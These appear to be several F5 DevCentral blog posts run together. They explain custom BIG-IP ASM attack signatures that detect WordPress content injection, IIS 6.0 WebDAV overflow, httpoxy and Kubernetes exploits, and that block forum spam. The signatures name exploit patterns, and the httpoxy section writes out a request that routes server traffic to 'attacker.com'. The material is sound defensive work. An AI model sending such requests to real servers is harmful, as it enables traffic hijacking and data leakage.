WordPress Content Injection Vulnerability - ASM Mitigation
Last week, a critical vulnerability has been detected in WordPress 4.7/4.7.1 by Sucuri researchers: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html The vulnerability allows unauthenticated attackers to change the contents of posts in WordPress, using a simple GET or POST request. This allows for as much as defacement or phishing attempts on WordPress sites. No evidence of this vulnerability leading to RCE has been reported yet. ASM is able to mitigate this vulnerability using the following user-defined signatures: content:"/wp-json/wp/v2/posts/"; nocase; content:"id="; nocase; re2:"/id=\s*?\+?\d+[^&\s\d]+?/i"; content:"/wp-json/wp/v2/posts/"; nocase; content:"|22|id|22|"; nocase; re2:"/\x22id\x22\s*?:\s*?\x22\s*?\+?\d+[^\x22\d]+?/i"; content:"/wp-json/wp/v2/posts/"; nocase; content:"|27|id|27|"; nocase; re2:"/\x27id\x27\s*?:\s*?\x22\s*?\+?\d+[^\x22\d]+?/i"; These signatures are expected to be included in the upcoming ASM security update, releasing next week. WordPress administrators are encouraged to upgrade to WordPress 4.7.2 as soon as possible.Blocking Spam with Custom Attack Signatures
I've said it before, I'll say it again: DevCentral is an awesome place to be. Our community is comprised of the best members in the world, and it shows by the way we help each other and care for our collective community. I have a little story to tell (and a solution to share) about the way our community continues to thrive. Earlier this month, DevCentral got hit with a series of unwanted Spam messages...everything from improving love life to black magic potions to astrology secrets. Did these topics catch my interest? Ummm, yeah. Were they appropriate for DevCentral? Probably not. Did we want to get these removed and ensure they never showed up again? Of course. Do I ask myself questions and then answer them myself? Most definitely! Our site is designed to allow (and encourage) open communication among all our members. While we want everyone to share and collaborate, we obviously discourage malicious or just outright annoying posts on our site. So when we got hit with these spam messages, we quickly deleted them. In fact many of you helped identify and report these as spam messages...so thanks! This is a perfect example of that "caring for our community" stuff I was talking about earlier...good times. While we were able to delete these posts, we wanted a more proactive approach that stopped them before they ever hit our site. Spam noun \ˈspam\ : irrelevant or inappropriate messages sent on the Internet to a large number of recipients. As our team thought about different approaches for proactive spam blocking, we considered the trusty BIG-IP Application Security Manager (ASM). If you don't know about all the goodness of the ASM, check out some of my previous articles on this thing...it's amazing and awesome! The ASM comes pre-loaded with ~2,400 attack signatures that block all kinds of malicious activity. It's also flexible enough to allow for custom attack signatures when you run into a unique situations...and this spam situation was a perfect candidate for some custom attack sigs. We needed a way to trigger on a keyword and block any post that included that keyword (or keywords). So, I created a custom attack signature that does just that...it looks for a keyword and blocks any request that has the keyword. One of the reasons the ASM signature was a good solution was that the spam was hitting us from several different IP addresses. We could have easily blocked an IP, but I'm pretty sure Mr. Spam would have found a quick way around that one. Instead, we decided to block based on the content of the messages being posted. BIG-IP ASM Configuration The first step in solving this problem is to create a custom attack signature. Navigate to Security >> Options >> Application Security >> Attack Signatures >> Attack Signature List and you will see a list of all the attack signatures in the ASM (see the screenshot below). Click the "Create" button at the top right part of the screen. Now it's time to create the custom signature! The first thing you do is name your custom signature (don't put any spaces in the name). Then, you can fill out an optional description...I like to do this to remind myself what in the world I was doing when I created this thing. If you keep the "Auto Apply New Signatures Configuration After Create" enabled, then the ASM will automatically apply any new custom signature to all active security policies that have signature sets containing this signature. I kept this enabled for the DevCentral signatures so that I didn't have to go back and reconfigure any signature sets after I created new custom signatures. On the "Systems" setting, I selected "Various systems" because this specific signature was not necessarily tied to any unique operating systems, web servers, etc. For "Attack Type" I chose "Other Application Attacks" but I could have chosen any of the Attack Types listed in the dropdown menu...but, the "Other Application Attacks" made the most sense for this custom signature. The "Rule" is where the meat of the signature is built. The ASM has several different rule options and each one has specific syntax requirements. You can find all the details in the ASM Configuration Guide - Appendix C. I used the "content" rule for my specific signature. The content rule matches when a specified character string is found anywhere in the full content of the request. The string match is case-sensitive, and it must be exact. For example, if you choose content "keyword" then it will not match on "key". You can also use the not character (!) in front of the string if you want the rule to match when it does not find the exact string. In addition, a "nocase" modifier is available, and this simply takes away the case-sensitivity of the rule. I used this in my "content" rule because I wanted to make sure I caught all the keywords regardless of their character case. Here are a few of the rule options available for creating custom signatures: content: matches when a specified character string is found anywhere in the full content of the request uricontent: matches when the specified string is found anywhere in the normalized URI, including the query string headercontent: matches when the specified string is found anywhere in the HTTP request headers valuecontent: matches when the specified string is found anywhere within a specific alpha-numeric parameter pcre: matches if the regular expression found within the slash (/) characters matches As for the "Accuracy" and "Risk" settings, I didn't worry about those too much because my specific security policy blocks on all attack signatures regardless of Accuracy or Risk settings. If your policy is different, you can certainly change these settings as appropriate. Congratulations! You just created a custom ASM attack signature. But wait, there's more. After you create the signature, you have to associate it with a "Signature Set". If you remember from your security policy building days, you actually assign Signature Sets to a security policy, not individual signatures. So, the next step is to create a custom Signature Set. You can get to this screen by navigating to Security >> Options >> Application Security >> Attack Signatures >> Attack Signature Sets and then click "Create" for your new custom Signature Set. I chose the "Filter-based" signature set because I wanted the ASM to automatically choose the correct signatures to add to this set based on the filters I selected. That way, if I needed to create a new custom signature, I could simply apply the correct filters and the new custom signature would automatically get added to my Signature Set (and thus my security policy as well). If you don't want the ASM to do all that work, you can select "Manual" for the Type of Signature Set and then you will manually add signatures as appropriate. For this specific Signature Set, I chose "Other Application Attacks" as my Attack Type and "Various Systems" as my Assigned Systems (you'll notice a resemblance to the settings in the custom signature). I also kept the default settings for Accuracy, Risk, User-Defined, and Update Date (All). If you mess around with these specific settings, be sure to keep the "User-Defined" signatures or else it won't include the beautiful work you just accomplished when creating your custom (User-Defined) attack signature. Once you select all these settings, the ASM will auto-build the list of attack signatures it plans to include in this Signature Set (listed at the bottom of the page). Be sure to check for your custom signature in this list...if it's not there, then go back and check all the settings to ensure you configured everything properly. Now that the custom signature is built and the Signature Set is configured correctly, the last step is to associate the Signature Set with your security policy. Navigate to Security >> Application Security >> Attack Signatures >> Attack Signatures Configuration and you will see the screenshot listed below. Be sure the correct security policy is listed in the "Current edited policy" list and then simply move the newly-created Signature Set from the Available column to the Assigned column. You also have the option of selecting Learn, Alarm, and/or Block on this page. I checked them all (wanted to make sure I blocked this spammer). In addition, be sure the "Signature Staging" box is not enabled if you want to block with this policy. Then click "Save" at the bottom and, as always with the ASM, be sure you click the "Apply Policy" button on the upper/right part of the screen. Once you do all that, the policy is updated and active and you will be blocking all requests that have "keyword" anywhere in them. The final step in my exciting journey was to update the ASM blocking page. You can navigate to Security >> Application Security >> Blocking >> Response Pages and you will see the screenshot below. I updated the AJAX response page (our web app uses json content for Question and Answer pages) with a custom response and then tested it to make sure everything was working properly. Voilà...it worked!! Check out the screenshot below...and send us an email if your post has been incorrectly identified as spam. Well, that's it. I hope you have enjoyed this spamalicious experience as much as I have. In all seriousness, it's really cool to be a part of DevCentral, and it's also really cool to be able to use awesome F5 technology to keep our community free from annoying spammers. Send me an email or comment below if you have any questions about all this. Until next time, remember that the only good spam is the stuff you buy in a can from Hormel...oh, who am I kidding, that stuff is nasty also.IIS 6.0 WebDAV Buffer Overflow
Today we are reminded that old software can include new and critical security findings. Microsoft IIS 6.0 on Windows Server 2003 R2 is vulnerable to buffer overflow which leads to remote code execution. This is due to inproper validation of the If: header which is used in WebDAV. This issue is covered by CVE-2017-7269. The vulnerability is exploited by sending a malicious PROPFIND method to the vulnerable server. By default, this method is disabled on ASM. However, it is crucial for the proper function of WebDAV, so policies which protect this kind of application have probably enabled it. IIS 6.0 Despite being a 15 year old product which is not officially supported by Microsoft anymore - The web still uses IIS 6.0 in very large numbers. A search in Shodan shows that over 600k servers are still live: https://www.shodan.io/search?query=iis+6.0 Mitigation with attack signatures ASM users are encouraged to use the following attack signature to detect exploitation attempts for this vulnerability: content:"PROPFIND"; depth:8; headercontent:"If: <http://"; pcre:"/^If: <http:\/\/[^>]*?[\x80-\xFF]{5}/Hm"; This signature is due to be included in the next ASU, being released early April.httpoxy CGI Vulnerability ASM Mitigation
A major vulnerability in the CGI platform has been disclosed today, dubbed httpoxy. The vulnerability was actually discovered 15 years ago in libwww-perl, and was fixed at the time. However, various currently used libraries have been found to be vulnerable even today. CGI Protocol-Specific Meta-Variables RFC3875 describes the process of CGI setting system-wide environment variables based on user requests. CGI takes any custom header found in the requests, converts it to upper case, appends the string “HTTP_” to it, and sets it as an environment variable. For example, the following request to a server that runs CGI: GET /index.html HTTP/1.0 Host: example.com Foo: Bar Will have the following environment variable set on the server: HTTP_FOO=”Bar” The HTTP_PROXY Environment Variable A local server on a well-segregated corporate network is often blocked to outgoing HTTP traffic directly, and uses a proxy with high security settings in order to reach servers outside of corporate network. Many popular and common programs (such as wget, curl, elinks, lynx and more) use the HTTP_PROXY environment variable as part of their configuration. This variable specifies the address of the proxy server the program should use in order to communicate with the outside world. Exploiting The Weakness By using the information learned so far, it’s easy to understand the disclosed vulnerability. The following request will overwrite the HTTP_PROXY environment variable on the server, or simply set it if it doesn’t exist: GET /cgi-bin/script.pl HTTP/1.0 Host: victim.com Proxy: attacker.com:8080 The result of this action will send outgoing traffic from the server to the attacker server. Assuming the server is on a well-segregated network, the communication will be blocked by corporate firewall and simply cause Denial-of-Service on the server. In the worst case, where the server actually has communication privileges to the outside world – Information leakage of sensitive data will be possible. ASM Mitigation Using ASM signatures it’s possible to easily mitigate this vulnerability. A user-defined signature can be created to block all attempts of httpoxy exploitation attempts, with regards to the “Proxy” header. The user-defined signature should be created as such: headercontent:"Proxy:"; nocase; re2:"/^\s*Proxy:/Hmi"; An ASM security update (ASU) containing this signature is expected to release later this week.2 Minute Tech Tip: ASM Attack Signature Update
You have 2 quick minutes to spare, right? You can learn something really cool about F5 technology! In this edition of two minute tech tips, you can learn how to update ASM attack signatures. Bad guys are constantly changing the way they attack your web applications, so it's important for you to keep your ASM attack signatures up to date as well. It's simple, it's easy...and it's important!Kubernetes Privilege Escalation Vulnerability - ASM Mitigation
Kubernetes A bug in the Kubernetes platform has been disclosed this week by its developers. The bug has been marked as critical vulnerability with a 9.8 CVSS score and assigned the following CVE: CVE-2018-1002105. The Github description of the vulnerability reads: "With a specially crafted request, users that are authorized to establish a connection through the Kubernetes API server to a backend server can then send arbitrary requests over the same connection directly to that backend, authenticated with the Kubernetes API server’s TLS credentials used to establish the backend connection." The exploitation method is as follows – An attacker may send a malformed HTTP Upgrade request to the Kubernetes API server. The request will be checked for authorization by the API server, and passed on to the API aggregation layer and from there to the underlying server. Regardless of the successfulness of the Upgrade request, the connection will remain open between the API server and the underlying application server. From this point, every subsequent request sent to the API server will be passed on directly to the underlying application serverwithout any authorization enforcement by the API server. This allows the attacker to send a wide variety of API callsusing impersonated identities such as a system administrator. Mitigation with ASM ASM can detect malformed WebSocket requests on multiple layers. Connections over web application protected by an ASM WebSocket profile will have to comply to RFC protocols. In addition, ASM signatures can detect such malformed requests by using a simple HTTP profile. An attack signature update that covers this vulnerability has been released.
